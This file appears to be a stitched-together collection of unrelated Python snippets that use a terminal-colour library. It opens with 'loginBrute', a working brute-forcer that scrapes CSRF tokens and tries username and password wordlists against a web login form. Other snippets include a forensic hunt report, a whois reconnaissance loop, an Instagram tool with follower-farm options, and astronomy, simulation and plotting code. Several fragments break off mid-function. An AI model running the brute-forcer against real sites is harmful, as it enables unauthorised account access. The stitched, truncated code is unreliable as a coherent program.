class LoginBrute: default = fg(246) green = fg(34) + attr('bold') yellow = fg(221) reset = attr('reset') error = fg('red') + '[!] ' + default detail = fg(220) + '[*] ' + default fail = fg('red') + '[-] ' + default success = fg('green') + '[+] ' + default event = fg(26) + '[*] ' + default debug = fg('magenta') + '[%] ' + default notification = fg(246) + '[-] ' + default creds_found = 0 __author__= default + ''' ###################################################### _ _ ____ _ | | ___ __ _(_)_ __ | __ ) _ __ _ _| |_ ___ | |/ _ \ / _` | | '_ \| _ \| '__| | | | __/ _ \\ | | (_) | (_| | | | | | |_) | | | |_| | || __/ |_|\___/ \__, |_|_| |_|____/|_| \__,_|\__\___| |___/ ###################################################### [+] Author : 1uffyD9 [+] Github : https://github.com/1uffyD9 ###################################################### ''' def __init__(self,): try: print (self.__author__, end='') args = self.get_args() self.bruteForcer(args) except KeyboardInterrupt: sys.exit('\n' + self.error + "Keyboard inturruption occurd, exiting the program..") def get_args(self,): parser = argparse.ArgumentParser(description='loginBrute will bruteforce on logins where csrf token is validated for each requests.') parser.add_argument('-t', '--token', type=str, help='specify the csrf token name(s) validated by the web server.') parser.add_argument('-U', '--user', type=str, help='specify the user name for the login') parser.add_argument('-u', '--userList', type=str, help='specify the wordlist for the esername') parser.add_argument('-P', '--password', type=str, help='specify the password for the login') parser.add_argument('-p', '--passList', type=str, help='specify the wordlist for the password') parser.add_argument('-m', '--method', type=str, help='specify the method: (GET, POST)', required=True) parser.add_argument('-d', '--data', type=str, help='specify the parameters, Ex: username=$U&password=$P&submit=yes', required=True) parser.add_argument('-l', '--link', type=str, help='specify the link to the form', required=True) return parser.parse_args() def bruteForcer(self, args): token = args.token user = args.user userList = args.userList password = args.password passList = args.passList method = args.method data = args.data url = args.link if userList and passList and userList == passList: print (self.debug + "Reading wordlist...",end='') try: userList = passList = open(userList, 'rb').readlines() except IOError as e: sys.exit(self.error + str(e).split("] ")[1]) elif userList and passList and userList != passList: print (self.debug + "Reading wordlist...",end='') try: userList = open(userList, 'rb').readlines() except IOError as e: sys.exit(self.error + 'User list: ' + str(e).split("] ")[1]) try: passList = open(passList, 'rb').readlines() except IOError as e: sys.exit(self.error + 'Pass list: ' + str(e).split("] ")[1]) elif userList and not passList and password: print (self.debug + "Reading wordlist...",end='') try: userList = open(userList, 'rb').readlines() except IOError as e: sys.exit(self.error + 'User list: ' + str(e).split("] ")[1]) elif userList and not passList and not password: password = "******" print (self.debug + "Reading wordlist...",end='') try: userList = open(userList, 'rb').readlines() except IOError as e: sys.exit(self.error + 'User list: ' + str(e).split("] ")[1]) elif not userList and passList and user: print (self.debug + "Reading wordlist...",end='') try: passList = open(passList, 'rb').readlines() except IOError as e: sys.exit(self.error + 'Pass list: ' + str(e).split("] ")[1]) elif not userList and passList and not user: user = "******" print (self.debug + "Reading wordlist...",end='') try: passList = open(passList, 'rb').readlines() except IOError as e: sys.exit(self.error + 'Pass list: ' + str(e).split("] ")[1]) else: if not user and not userList: user = "******" print ("\n{}Username or username list not given. Trying with the default username,'admin'..{}".format(self.event, self.reset),end='') if not password and not passList: password = "******" print ("\n{}Password or password list not given. Trying with the default password.'password'..{}".format(self.event, self.reset)) __taskInfo__ = self.default + ''' ###################################################### {}URL : {} {}Username or username list : {} {}Password or password list : {} {}Token : {} {}Method : {} ###################################################### '''.format( self.detail, url, self.detail, user if not userList else args.userList, self.detail, password if not passList else args.passList, self.detail, token, self.detail, method.upper() ) print (__taskInfo__) print (self.debug + "Start attacking....") if not userList: self.passEnum(user, url, token, method, data, password, passList) else: for user in userList: self.passEnum(user, url, token, method, data, password, passList) if self.creds_found == 0: sys.exit(self.fail + "Valid credentials not found! Try again") else: sys.exit(self.fail + "Valid credentials not found after that! Try again with different wordlist") def passEnum (self, username, url, token, method, data, password=None, passList=None): if not passList: self.makeRequest(url, token, method, data, username, password) else: for passwd in passList: self.makeRequest(url, token, method, data, username, passwd) def makeRequest(self, url, token, method, data, username="******", password="******"): headers = {'Content-Type': 'application/x-www-form-urlencoded'} username = username.decode('utf-8').rstrip('\n') if isinstance(username, bytes) else username password = password.decode('utf-8').rstrip('\n') if isinstance(password, bytes) else password print('\r' + self.debug + "%s: %s" % (username, password) + " " * 15, end = '\r') csrf_token = None try: request = requests.session() page = request.get(url, headers=headers) html_content = page.text soup = BeautifulSoup(html_content, "lxml") if token: for element in soup.findAll('input'): if element.attrs['name'] == token: csrf_token = element.get("value") except requests.exceptions.RequestException as e: sys.exit(self.error + "Something going wrong with the request. Please check the url and the connectivity") lst = re.split(':', data) login_success_msg = lst[1] if lst[1] else None login_fail_msg = lst[2] if lst[2] else None lst = re.split('&|=', lst[0]) login_info_lst = {lst[i]: lst[i+1] for i in range(0, len(lst), 2)} for key, value in login_info_lst.items(): if value == '$U': login_info_lst[key] = username if value == '$P': login_info_lst[key] = password if token: login_info_lst[token] = csrf_token login_info = urllib.parse.urlencode(login_info_lst).encode('utf-8') if method == "post": login_response = request.post(url, login_info, headers=headers) response_content = BeautifulSoup(login_response.text, "lxml") if login_success_msg and not login_fail_msg: if login_success_msg in login_response.text: sys.exit(self.success + "Credentails found: '{}{}{}':'{}{}{}'".format(self.green, username, self.default, self.green, password, self.default)) elif login_fail_msg and not login_success_msg: if login_fail_msg not in login_response.text: detect_element = False for element in response_content.findAll("input"): if not element.attrs['name'] in list(login_info_lst.keys()): detect_element = True break if not detect_element: print(self.success + "Credentails found: '{}{}{}':'{}{}{}'".format(self.green, username, self.default, self.green, password, self.default)) if (True if input("Do you want to continue bruteforcing (n for exit)? ").strip().lower() == 'n' else False): sys.exit(self.error + "Exiting the program..") else: self.creds_found = 3 else: print (self.debug + "Same login page detected for '{}{}{}':'{}{}{}'".format(self.yellow, username, self.default, self.yellow, password, self.default)) if (True if input("Do you want to continue bruteforcing (n for exit)? ").strip().lower() == 'n' else False): sys.exit(self.error + "Exiting the program..") else: self.creds_found = 3 else: sys.exit(self.error + "Set either success msg or fail msg and try again") elif method == "get": login_response = request.get(url=url, headers=headers, params=login_info) response_content = BeautifulSoup(login_response.text, "lxml") if login_success_msg and not login_fail_msg: if login_success_msg in login_response.text: sys.exit(self.success + "Credentails found: '{}{}{}':'{}{}{}'".format(self.green, username, self.default, self.green, password, self.default)) elif login_fail_msg and not login_success_msg: if login_fail_msg not in login_response.text: detect_element = False for element in response_content.findAll("input"): if not element.attrs['name'] in list(login_info_lst.keys()): detect_element = True break if not detect_element: print(self.success + "Credentails found: '{}{}{}':'{}{}{}'".format(self.green, username, self.default, self.green, password, self.default)) if (True if input("Do you want to continue bruteforcing (n for exit)? ").strip().lower() == 'n' else False): sys.exit(self.error + "Exiting the program..") else: self.creds_found = 3 else: print (self.debug + "Same login page detected for '{}{}{}':'{}{}{}'".format(self.yellow, username, self.default, self.yellow, password, self.default)) if (True if input("Do you want to continue bruteforcing (n for exit)? ").strip().lower() == 'n' else False): sys.exit(self.error + "Exiting the program..") else: self.creds_found = 3 else: sys.exit(self.error + "Set either success msg or fail msg and try again") else: sys.exit(self.error + "Invalid method. Try again")
def after_return(self, status, retval, task_id, args, kwargs, einfo): logger.info("{fg} {bg}Ending --<{function_name}--> of task --<{task_name}>-- with time taken\ --<{time}>-- seconds {reset}".format(fg=fg('white'), bg=bg('green'), \ function_name=inspect.stack()[0][3], task_name= self.__class__.__name__, time=time.time() -self.start, reset=attr('reset'))) pass
def main(): parser = argparse.ArgumentParser( description="Manages Spotify ads IPs on /etc/hosts") parser.add_argument('--disable_ads', action='store_true', help="disable ads IPs") parser.add_argument('--enable_ads', action='store_true', help="enables ads IPs") parser.add_argument('--disable_updates', action='store_true', help="disable updates IPs") parser.add_argument('--enable_updates', action='store_true', help="enable updates IPs") parser.add_argument('--on', action="store_true", help="disable both ads and updates") parser.add_argument('--off', action="store_true", help="enable both ads and updates") args = parser.parse_args() print( stylize('DISABLE ADS FOR SPOTIFY', (colored.fg('white'), colored.bg('green')))) print('') checkConflits(args) with open(HOSTS_PATH, 'r+') as file: #check ads block lines = file.readlines() for i in range(0, len(lines)): if STRING_BEGIN in lines[i]: break #if ads ips are disabled if (lines[i + 1].startswith('#')): if len(sys.argv) == 1: print(stylize('ads enabled', colored.fg('red'))) elif args.disable_ads or args.on: disable(lines, 'ads', i + 1) elif args.enable_ads or args.off: print(stylize('ads already enabled', colored.fg('blue'))) else: if len(sys.argv) == 1: print(stylize('ads disabled', colored.fg('green'))) elif args.enable_ads or args.off: enable(lines, 'ads', i + 1) elif args.disable_ads or args.on: print(stylize('ads already disabled', colored.fg('blue'))) #check update block for j in range(i, len(lines)): if STRING_UPDATES in lines[j]: break #if updates ips are disabled if (lines[j + 1].startswith('#')): if len(sys.argv) == 1: print(stylize('updates enabled', colored.fg('red'))) elif args.disable_updates or args.on: disable(lines, 'updates', j + 1) elif args.enable_updates or args.off: print(stylize('updates already enabled', colored.fg('blue'))) else: if len(sys.argv) == 1: print(stylize('updates disabled', colored.fg('green'))) elif args.enable_updates or args.off: enable(lines, 'updates', j + 1) elif args.disable_updates or args.on: print(stylize('updates already disabled', colored.fg('blue'))) if len(sys.argv) > 1: file.seek(0) file.truncate(0) file.writelines(lines)
def report(): sys.stdout.write('\n') header = (""" ллЛ ллЛллЛ ллЛлллЛ ллЛллллллллЛ ллллллЛ лллллллЛллллллЛ ллллллЛ ллллллЛ ллллллллЛ ллК ллКллК ллКллллЛ ллКШЭЭллЩЭЭМ ллЩЭЭллЛллЩЭЭЭЭМллЩЭЭллЛллЩЭЭЭллЛллЩЭЭллЛШЭЭллЩЭЭМ лллллллКллК ллКллЩллЛ ллК ллК ллллллЩМлллллЛ ллллллЩМллК ллКллллллЩМ ллК ллЩЭЭллКллК ллКллКШллЛллК ллК ллЩЭЭллЛллЩЭЭМ ллЩЭЭЭМ ллК ллКллЩЭЭллЛ ллК ллК ллКШллллллЩМллК ШллллК ллК ллК ллКлллллллЛллК ШллллллЩМллК ллК ллК ШЭМ ШЭМ ШЭЭЭЭЭМ ШЭМ ШЭЭЭМ ШЭМ ШЭМ ШЭМШЭЭЭЭЭЭМШЭМ ШЭЭЭЭЭМ ШЭМ ШЭМ ШЭМ """) print(header) sys.stdout.write(('%sWinterfell hunt has completed. Full report is loacted at%s' % (fg(117), attr(0))) + ' ' + cname + ('\Hunting\Winterfell_Hunt_Report.txt' + '\n')) sys.stdout.write(('%sResults statstics are the following:%s' % (fg(117), attr(0))) + '\n') sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+]"' print('%sTotal Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Amcache File:"' print('%sAmcache Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Shellbags File:"' print('%sShellbags Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Powershell Logs Files:"' print('%sPowershell Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Firewall Rules:"' print('%sFirewall Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Dlls File:"' print('%sDlls Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Recycle Bin:"' print('%sRecycle Bin Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Prefetch Data:"' print('%sPrefetch Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Security Logs:"' print('%sSecurity Logs Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Autoruns File:"' print('%sAutoruns Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Schedule Tasks:"' print('%sSchedule Task Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in UsnJrnl File:"' print('%sUsnJrnl Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Loki ProcessScan Module:"' print('%sLoki ProcessScan Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Loki FileScan Module:"' print('%sLoki FileScan Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in IIS Files:"' print('%sIIS Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in URL History Data:"' print('%sURL History Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in Dirlisting File:"' print('%sDirlisting Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in LOCAL_MACHINE Registry:"' print('%sLOCAL_MACHINE Registry Findings Count: %s' % (fg(184), attr(0)));os.system(cmd) sys.stdout.write("------------------------------------\n") cmd = 'type Winterfell_Hunt_Report.txt | find /c "[+] Hunting in CURRENT_USER Registry:"' print('%sCURRENT_USER Registry Findings Count: %s' % (fg(184), attr(0)));os.system(cmd)
def error(msg, exit_code=1): sys.stderr.write(stylize("Error: %s\n" % msg, colored.fg('red'))) exit(exit_code)
print("Saving...") with open("followers.txt","w",encoding="utf-8") as file: for item in Flist: file.write(item+ "\n") print("%sDone!\nAll Followers Saved to 'followers.txt' file. %s" % (fg(2), attr(0))) self.browser.close() Instagram = Instagram() while True: print("") print("%s - - - INSTAGRAM TOOL - - - %s" % (fg(207), attr(0))) print(" ") secim = input("%s[1]- Download Profile Picture\n[2]- Download Post Picture\n[3]- Freeze Account\n[4]- Get Your Follower List\n[5]- Follower Farm\n[6]- unFollow Farm \n[7]- Show Pictures\n[8]- Delete Pictures\n[9]- Exit\n%s \nEnter Number:" % (fg(207), attr(0))) if secim == "1": username = input("%susername: %s" % (fg(207), attr(0))) Instagram.profilephoto(username) elif secim == "9": print("%sGOODBYE BABE%s" % (fg(207), attr(0))) time.sleep(1) exit() elif secim == "2": link = input("%sPicture Link: %s" % (fg(207), attr(0))) Instagram.downloadPost(link) elif secim == "3": username = input("%susername: %s" % (fg(207), attr(0))) password = input("%spassword: %s" % (fg(207), attr(0)))
def create_script_record(): command = arg.split('=') _script_type = command[0] _file = command[1].split(os.path.sep)[-1] _subdir = command[1].replace(_file,'') if(os.path.isfile(os.path.join(CWD,'FileCabinet','SuiteScripts',_subdir,_file))): with open(os.path.join(os.path.dirname(os.path.realpath(__file__)),'objects','{}.xml'.format(_script_type)), 'r+') as _template: template = _template.read() _template.close() _choose = [ { 'type': 'input', 'name': 'name', 'qmark': '?', 'message': 'Nombre del record script:', 'validate': is_required } ] name = prompt(_choose) #create customscript xml file with open(os.path.join(CWD,'Objects','customscript_{}'.format(_file.lower().replace('.js','.xml'))),'w+') as file: file.write(template.format(scriptid='customscript_{}'.format(_file.replace('.js','')),name=name['name'],file=command[1].lower().replace(os.path.sep,'/'),deploy=_file.replace('.js',''))) file.close() else: print("""{color}Error: El archivo de referencia no existe{reset}""".format(color=fg('yellow'), reset=attr('reset'))) exit()
def message(self): print("%s\n--> DONE%s" % (fg(1), attr(0)))
print(my_wcs) colors = ["#ffffff","#fbe2e2","#f8c6c6","#f5aaaa","#f28d8d","#ef7171","#ec5555","#e93838","#e61c1c","#e30000"] colors_green = ["#ffffff","#e2ede3","#c6dbc8","#aac9ad","#8db792","#71a577","#55935c","#388141","#1c6f26","#005e0b"] res_colors = ["#0013ff","#3817c8","#711c92","#aa205b","#e32525"] res_str = ['Very Negative', 'Negative', 'Neutral', 'Positive', 'Very Positive'] html_code = '' import colored for i, keys in enumerate(my_keys_array): to_print = '' html_code += '<span style="background-color: %s;color: %s">---</span>' % (colors_green[int(9*doc_att[i])], colors_green[int(4*doc_att[i])]) for j, key in enumerate(keys): html_code += '<span style="background-color: %s"> %s </span>' % (colors[int(9*my_values_array[i,j])], key) to_print += ' %s%s%s%s ' % (colored.fg('white'), colored.bg(232 + 2*int(my_values_array[i,j]*10)), key, colored.attr('reset')) print(to_print) html_code += '<br>\n' html_code += '<span style="background-color: %s;color: %s">%s</span>' % (res_colors[np.argmax(res)], "#ffffff", res_str[np.argmax(res)]) print(html_code) # =========== W = cahan.get_layer('context_aware_self_attention_1').W.eval(session=sess) W_c = cahan.get_layer('context_aware_self_attention_1').W_context.eval(session=sess) W_c_1 = cahan.get_layer('context_aware_self_attention_2').W_context.eval(session=sess) print(np.max(W), np.linalg.norm(W)) print(np.max(W_c), np.linalg.norm(W_c)) print(np.max(W_c_1), np.linalg.norm(W_c_1)) print(my_values_array)
def search_around_sky( coords=None, coords1=None, coords2=None, seplimit=None, storekdtree="kdtree_sky", verbose=1, show_progress=True, silent=False, return_dists=False, tqdm_kwargs={}, ): """Searches for pairs of points that have an angular separation at least as close as a specified angle. This is intended for use on coordinate objects with arrays of coordinates, not scalars. For scalar coordinates, it is better to use the ``separation`` methods. Parameters ---------- coords1 : `~astropy.coordinates.BaseCoordinateFrame` or `~astropy.coordinates.SkyCoord` The first set of coordinates, which will be searched for matches from ``coords2`` within ``seplimit``. Cannot be a scalar coordinate. coords2 : `~astropy.coordinates.BaseCoordinateFrame` or `~astropy.coordinates.SkyCoord` The second set of coordinates, which will be searched for matches from ``coords1`` within ``seplimit``. Cannot be a scalar coordinate. seplimit : `~astropy.units.Quantity` with angle units The on-sky separation to search within. storekdtree : bool or str, optional If a string, will store the KD-Tree used in the search with the name ``storekdtree`` in ``coords2.cache``. This speeds up subsequent calls to this function. If False, the KD-Trees are not saved. verbose : int, optional If 0, it does not write any words to stdout while running (it will still show the progressbars and busy indicators whenever needed) If 1, it writes some extra information about the status of the job show_progress : bool, optional If True, it will show the progressbars and busy indicators whenever needed. If False, it hides them. Except, in the case of busy indicators it will only hide the animation part not the message. silent : bool, optional If True, it supresses the stdout, i.e. it sets `verbose=0` and `show_progress=False` plus it hides the busy indicators alltogether along with any message they might have. `silent` overrides `verbose` and `show_progress`. return_dists : bool, optional If True, it returns sep2d and dist3d in addition to the matching indices (i.e. idx1, idx2) Returns ------- idx1 : integer array Indices into ``coords1`` that matches to the corresponding element of ``idx2``. Shape matches ``idx2``. idx2 : integer array Indices into ``coords2`` that matches to the corresponding element of ``idx1``. Shape matches ``idx1``. sep2d : `~astropy.coordinates.Angle` The on-sky separation between the coordinates. Shape matches ``idx1`` and ``idx2``. dist3d : `~astropy.units.Quantity` The 3D distance between the coordinates. Shape matches ``idx1`` and ``idx2``; the unit is that of ``coords1``. If either ``coords1`` or ``coords2`` don't have a distance, this is the 3D distance on the unit sphere, rather than a physical distance. Notes ----- This function requires `SciPy <https://www.scipy.org/>`_ (>=0.12.0) to be installed or it will fail. In the current implementation, the return values are always sorted in the same order as the ``coords1`` (so ``idx1`` is in ascending order). This is considered an implementation detail, though, so it could change in a future release. """ if show_progress: skip_busypal = -1 disable_tqdm = False else: skip_busypal = 1 disable_tqdm = True if silent: verbose = 0 skip_busypal = 2 disable_tqdm = True if coords is not None: if coords1 is not None or coords2 is not None: raise ValueError( "either use `coords` for internal matching or `coords1` and \ `coords2` for cross matching.") coords1 = coords coords2 = coords if not seplimit.isscalar: raise ValueError("seplimit must be a scalar in search_around_sky") if coords1.isscalar or coords2.isscalar: raise ValueError( "One of the inputs to search_around_sky is a scalar. " "search_around_sky is intended for use with array " "coordinates, not scalars. Instead, use " "``coord1.separation(coord2) < seplimit`` to find the " "coordinates near a scalar coordinate.") if len(coords1) == 0 or len(coords2) == 0: # Empty array input: return empty match if coords2.distance.unit == u.dimensionless_unscaled: distunit = u.dimensionless_unscaled else: distunit = coords1.distance.unit if return_dists: return ( np.array([], dtype=int), np.array([], dtype=int), Angle([], u.deg), u.Quantity([], distunit), ) else: return (np.array([], dtype=int), np.array([], dtype=int)) if all(coords1 == coords2): same_coords = True else: # We convert coord1 to match coord2's frame. We do it this way # so that if the conversion does happen, the KD tree of coord2 at least # gets saved. # (by convention, coord2 is the "catalog" if that makes sense) coords1 = coords1.transform_to(coords2) same_coords = False # Strip out distance info. urepr1 = coords1.data.represent_as(UnitSphericalRepresentation) ucoords1 = coords1.realize_frame(urepr1) with BusyPal( "Growing the first KD-Tree", style={ "id": 6, "color": "sandy_brown" }, fmt="{spinner} {message}", skip=skip_busypal, ): kdt1 = _get_cartesian_kdtree(ucoords1, storekdtree) if storekdtree and coords2.cache.get(storekdtree): # Just use the stored KD-Tree. kdt2 = coords2.cache[storekdtree] else: if same_coords: kdt2 = kdt1 if verbose: print( cl.stylize("✔", cl.fg("green") + cl.attr("bold")) + " Used the same KD-Tree for the" "second set of coordinates since this is an internal match." ) else: # Strip out distance info. urepr2 = coords2.data.represent_as(UnitSphericalRepresentation) ucoords2 = coords2.realize_frame(urepr2) with BusyPal( "Growing the second KD-Tree", style={ "id": 6, "color": "SANDY_BROWN" }, fmt="{spinner} {message}", skip=skip_busypal, ): kdt2 = _get_cartesian_kdtree(ucoords2, storekdtree) if storekdtree: # Save the KD-Tree in coords2, *not* ucoords2. coords2.cache[ "kdtree" if storekdtree is True else storekdtree] = kdt2 if verbose: print( cl.stylize("✔", cl.fg("green") + cl.attr("bold")) + " Stored the KD-Tree in the cache.") # This is the *cartesian* 3D distance that corresponds to the given angle. r = (2 * np.sin(Angle(seplimit) / 2.0)).value idxs1 = [] idxs2 = [] with BusyPal( f"Finding all pairs of points whose distance is at most {seplimit}", style={ "id": 6, "color": "sandy_brown" }, fmt="{spinner} {message}", skip=skip_busypal, ): found_pairs = kdt1.query_ball_tree(kdt2, r) for i, matches in enumerate( tqdm(found_pairs, disable=disable_tqdm, **tqdm_kwargs)): for match in matches: idxs1.append(i) idxs2.append(match) if verbose: print("\r\r" + cl.stylize("✔", cl.fg("green") + cl.attr("bold")) + " Created matching lists from KD-Trees") idxs1 = np.array(idxs1, dtype=int) idxs2 = np.array(idxs2, dtype=int) if return_dists: if idxs1.size == 0: if coords2.distance.unit == u.dimensionless_unscaled: distunit = u.dimensionless_unscaled else: distunit = coords1.distance.unit d2ds = Angle([], u.deg) d3ds = u.Quantity([], distunit) else: d2ds = coords1[idxs1].separation(coords2[idxs2]) try: d3ds = coords1[idxs1].separation_3d(coords2[idxs2]) except ValueError: # They don't have distances, so we just fall back on the # cartesian distance, computed from d2ds. d3ds = 2 * np.sin(d2ds / 2.0) return idxs1, idxs2, d2ds, d3ds else: return idxs1, idxs2
if args.scheme: t_scheme = args.scheme.split(',') else: t_scheme = ['http', 'https'] t_hosts = [] if args.hosts: if os.path.isfile(args.hosts): fp = open(args.hosts, 'r') t_hosts = fp.read().strip().split("\n") fp.close() else: t_hosts.append(args.hosts) n_hosts = len(t_hosts) sys.stdout.write('%s[+] %d hosts found: %s%s\n' % (fg('green'), n_hosts, args.hosts, attr(0))) t_urls = [] if args.urls: if os.path.isfile(args.urls): fp = open(args.urls, 'r') t_urls = fp.read().strip().split("\n") fp.close() else: t_urls.append(args.urls) n_urls = len(t_urls) sys.stdout.write('%s[+] %d urls found: %s%s\n' % (fg('green'), n_urls, args.urls, attr(0))) if n_hosts == 0 and n_urls == 0: parser.error('hosts/urls list missing')
#!/usr/local/bin/python3 # Made by @swisscoding on Instagram import colored import pandas as pd import matplotlib.pyplot as plt print( colored.stylize( "\n---- | Plotting COVID-19 cases in specified country | ----\n", colored.fg("red"))) # dataframe df = pd.read_csv( "https://raw.githubusercontent.com/owid/covid-19-data/master/public/data/owid-covid-data.csv" ) # smaller more useful dataframe small_df = df[["location", "new_cases", "total_deaths", "population", "date"]] small_df_values = small_df.values # user interaction country = input("Enter the country: ") # limitation to one country mask = small_df_values[:, 0] == country small_df_values_with_mask = small_df_values[mask] print(f"\nPopulation of {country}: {int(small_df_values_with_mask[-1:,3][0])}") print(f"Total deaths: {int(small_df_values_with_mask[-1:,2][0])}\n")
else: _domain = False if not _domain and not len(t_datas['companies']) and not len( t_datas['emails']): parser.error('domain or company or email required') if args.key: _key = args.key else: parser.error('api key is required') if _domain: if _verbose: sys.stdout.write('%s[+] search for domain: %s%s\n' % (fg('green'), _domain, attr(0))) url = 'http://api.whoxy.com/?key=' + _key + '&whois=' + _domain if _verbose: print(url) r = requests.get(url) t_json = r.json() # print(t_json) extractDatas(t_json) if _verbose: print(t_datas) for company in t_datas['companies']: page = 1 company = company.replace(' ', '+') if _verbose: sys.stdout.write('%s[+] search for company: %s%s\n' %
def hr(): print(stylize("---------------", fg("blue")))
from scipy.stats import * from colored import fg, attr green = fg('green') red = fg('red') yellow = fg('yellow') reset_color = attr('reset') print("Enter Number of Customer: ", end=" ") n = int(input()) print( "Do you Want to generate (Inter Arrival & Service Time) Randomly?? <'y = yes'> or <'n = no'>: ", end=" ") optn = str(input().lower()) print() # -------- Variable Declaration ------ intArrivalTime = [] arrivalTime = [] serviceTime = [] SBT = [] waitingTime = [] SET = [] customerSpendInSystem = [] idleTime = [] int_arrivalT = 0 total_arrivalTime = 0 total_serviceTime = 0 total_waitingTime = 0 total_idleTime = 0
def stop_hosting(): """ Stops the Vectordash client. """ try: # ensuring the login file exists if not os.path.isfile('/var/vectordash/login.json'): print("You are not logged in. Please run " + stylize("vdhost login", fg("blue")) + ' to continue.') return # if the installation process has not been completed if not os.path.isfile('/var/vectordash/install_complete'): print( "You are not currently running the Vectordash hosting client because you have not setup your machine " "yet. Please run " + stylize("vdhost install", fg("blue")) + " first.") return # we must check for active instances before stopping vdclient with open('/var/vectordash/login.json') as f: data = json.load(f) # reading in the login credentials email = data["email"] machine_key = data["machine_key"] # getting the active instance count for this machine r = requests.post(VECTORDASH_URL + "active-instance-count/", data={ 'email': email, 'machine_key': machine_key }) # if there was an error with the response if r.status_code != 200: print( stylize( "An unexpected error has occurred. Please try again later.", fg("red"))) return # getting the value from the response resp = r.text resp = json.loads(resp) num_instances = int(resp['active_instances']) # if it's a negative integer, authentication was invalid if num_instances < 0: print("Invalid authentication information . Please run " + stylize("vdhost login", fg("blue")) + ' to continue.') return elif num_instances > 0: print( stylize( "Please keep the client online until all active instances have been completed.", fg("red"))) return else: # calling stop on vclient, note that supervisor prints out a message for us subprocess.call("sudo supervisorctl stop vdhost", shell=True) except OSError: # if we get a permissions error print( stylize("Please run this command as sudo:", fg("red")) + stylize("sudo vdhost start-miner <gpu_id>", fg("blue")))